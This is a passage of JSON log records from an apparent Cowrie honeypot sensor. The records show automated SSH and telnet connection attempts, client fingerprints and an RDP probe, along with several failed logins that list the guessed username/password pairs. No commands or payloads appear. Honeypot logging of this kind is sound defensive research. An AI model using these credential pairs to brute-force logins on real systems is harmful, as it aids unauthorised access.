a2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:36.719815Z","src_ip":"150.109.25.130","session":"d3c4d69dbc31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59486,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9326d3d60b6","protocol":"telnet","message":"New connection: 192.119.13.58:59486 (10.17.0.5:23) [session: a9326d3d60b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:36.780412Z"}
{"eventid":"cowrie.session.closed","duration":39.897950410842896,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:37.199193Z","src_ip":"192.119.13.58","session":"edf3e12e6f02","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"ts","message":"login attempt [root/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:37.735072Z","src_ip":"150.109.25.130","session":"d3c4d69dbc31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:38.985152Z","src_ip":"150.109.25.130","session":"d3c4d69dbc31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":42498,"dst_ip":"10.17.0.5","dst_port":22,"session":"561afec011cd","protocol":"ssh","message":"New connection: 175.118.127.138:42498 (10.17.0.5:22) [session: 561afec011cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:42.384220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:42.389131Z","src_ip":"175.118.127.138","session":"561afec011cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:42.573306Z","src_ip":"175.118.127.138","session":"561afec011cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57138,"dst_ip":"10.17.0.5","dst_port":23,"session":"389dfbf56345","protocol":"telnet","message":"New connection: 192.119.13.58:57138 (10.17.0.5:23) [session: 389dfbf56345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:43.182779Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:43.315870Z","src_ip":"175.118.127.138","session":"561afec011cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:44.496430Z","src_ip":"175.118.127.138","session":"561afec011cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43726,"dst_ip":"10.17.0.5","dst_port":23,"session":"762662be19bb","protocol":"telnet","message":"New connection: 192.119.13.58:43726 (10.17.0.5:23) [session: 762662be19bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:46.889617Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":45928,"dst_ip":"10.17.0.5","dst_port":22,"session":"729df7fbeb77","protocol":"ssh","message":"New connection: 193.32.162.145:45928 (10.17.0.5:22) [session: 729df7fbeb77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:47.515851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:47.521049Z","src_ip":"193.32.162.145","session":"729df7fbeb77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:47.627808Z","src_ip":"193.32.162.145","session":"729df7fbeb77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:47.953057Z","src_ip":"193.32.162.145","session":"729df7fbeb77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:49.175800Z","src_ip":"193.32.162.145","session":"729df7fbeb77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60144,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7136c6c8a27","protocol":"telnet","message":"New connection: 192.119.13.58:60144 (10.17.0.5:23) [session: f7136c6c8a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:51.092659Z"}
{"eventid":"cowrie.session.closed","duration":34.955713748931885,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:51.789712Z","src_ip":"192.119.13.58","session":"34bdcfe8bd53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34916,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef4f11d85342","protocol":"telnet","message":"New connection: 192.119.13.58:34916 (10.17.0.5:23) [session: ef4f11d85342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:51.819632Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38722,"dst_ip":"10.17.0.5","dst_port":23,"session":"61a30ad7ce4f","protocol":"telnet","message":"New connection: 192.119.13.58:38722 (10.17.0.5:23) [session: 61a30ad7ce4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:52.768959Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42698,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cf158025c90","protocol":"telnet","message":"New connection: 192.119.13.58:42698 (10.17.0.5:23) [session: 9cf158025c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:53.719713Z"}
{"eventid":"cowrie.session.closed","duration":40.75397539138794,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:55.595428Z","src_ip":"192.119.13.58","session":"f0dba1c369c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.040656328201294,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:56.090756Z","src_ip":"192.119.13.58","session":"ccdf5b6a536e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.97132849693298,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:57.364596Z","src_ip":"192.119.13.58","session":"38772bbe0622","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.300734519958496,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:58.714827Z","src_ip":"192.119.13.58","session":"a030d1826c33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38606,"dst_ip":"10.17.0.5","dst_port":23,"session":"76373d9a411f","protocol":"telnet","message":"New connection: 192.119.13.58:38606 (10.17.0.5:23) [session: 76373d9a411f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:59.678421Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49288,"dst_ip":"10.17.0.5","dst_port":23,"session":"1772710478ae","protocol":"telnet","message":"New connection: 192.119.13.58:49288 (10.17.0.5:23) [session: 1772710478ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:02.208486Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":54708,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6435fe6b046","protocol":"ssh","message":"New connection: 103.75.182.198:54708 (10.17.0.5:22) [session: f6435fe6b046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:02.940078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:02.949290Z","src_ip":"103.75.182.198","session":"f6435fe6b046","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:03.193215Z","src_ip":"103.75.182.198","session":"f6435fe6b046","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.26121258735657,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:03.588120Z","src_ip":"192.119.13.58","session":"d695527edaa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.004652976989746,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:03.682956Z","src_ip":"192.119.13.58","session":"76373d9a411f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"433243650r","message":"login attempt [root/433243650r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:03.931328Z","src_ip":"103.75.182.198","session":"f6435fe6b046","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:05.178432Z","src_ip":"103.75.182.198","session":"f6435fe6b046","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.28866767883301,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:06.943084Z","src_ip":"192.119.13.58","session":"dba303155a4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.8546347618103,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:07.049073Z","src_ip":"192.119.13.58","session":"a8096ec90729","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.74811410903931,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:08.632850Z","src_ip":"192.119.13.58","session":"894515f15cd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.10331058502197,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:11.641474Z","src_ip":"192.119.13.58","session":"9bba4c74095a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59748,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbd56f8f88c6","protocol":"telnet","message":"New connection: 192.119.13.58:59748 (10.17.0.5:23) [session: dbd56f8f88c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:11.958468Z"}
{"eventid":"cowrie.session.closed","duration":0.011619091033935547,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:11.969783Z","src_ip":"192.119.13.58","session":"dbd56f8f88c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46910,"dst_ip":"10.17.0.5","dst_port":23,"session":"b824979d8a0c","protocol":"telnet","message":"New connection: 192.119.13.58:46910 (10.17.0.5:23) [session: b824979d8a0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:15.763052Z"}
{"eventid":"cowrie.session.closed","duration":39.46468901634216,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:16.244988Z","src_ip":"192.119.13.58","session":"a9326d3d60b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":37376,"dst_ip":"159.203.135.109","dst_port":22,"session":"02e62fb5c4e0","protocol":"ssh","message":"New connection: 185.236.22.41:37376 (159.203.135.109:22) [session: 02e62fb5c4e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:17.120125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:17.125874Z","src_ip":"185.236.22.41","session":"02e62fb5c4e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:17.313249Z","src_ip":"185.236.22.41","session":"02e62fb5c4e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.864399909973145,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:17.321145Z","src_ip":"192.119.13.58","session":"90b37c07d702","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"avrora","message":"login attempt [root/avrora] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:17.709683Z","src_ip":"185.236.22.41","session":"02e62fb5c4e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":59058,"dst_ip":"10.17.0.5","dst_port":22,"session":"f31f24bc7c1a","protocol":"ssh","message":"New connection: 167.172.81.52:59058 (10.17.0.5:22) [session: f31f24bc7c1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:18.716806Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:18.723313Z","src_ip":"167.172.81.52","session":"f31f24bc7c1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:18.731988Z","src_ip":"167.172.81.52","session":"f31f24bc7c1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:18.842301Z","src_ip":"185.236.22.41","session":"02e62fb5c4e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.51.73.24","src_port":5814,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba9aa7df3869","protocol":"ssh","message":"New connection: 122.51.73.24:5814 (10.17.0.5:22) [session: ba9aa7df3869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:19.255325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:19.260613Z","src_ip":"122.51.73.24","session":"ba9aa7df3869","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:20.315910Z","src_ip":"122.51.73.24","session":"ba9aa7df3869","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39374,"dst_ip":"10.17.0.5","dst_port":23,"session":"9040e9cfa1c7","protocol":"telnet","message":"New connection: 192.119.13.58:39374 (10.17.0.5:23) [session: 9040e9cfa1c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:20.828578Z"}
{"eventid":"cowrie.login.failed","username":"dsm","password":"dsm","message":"login attempt [dsm/dsm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:22.308900Z","src_ip":"122.51.73.24","session":"ba9aa7df3869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:29:23.543465Z","src_ip":"122.51.73.24","session":"ba9aa7df3869","protocol":"ssh"}
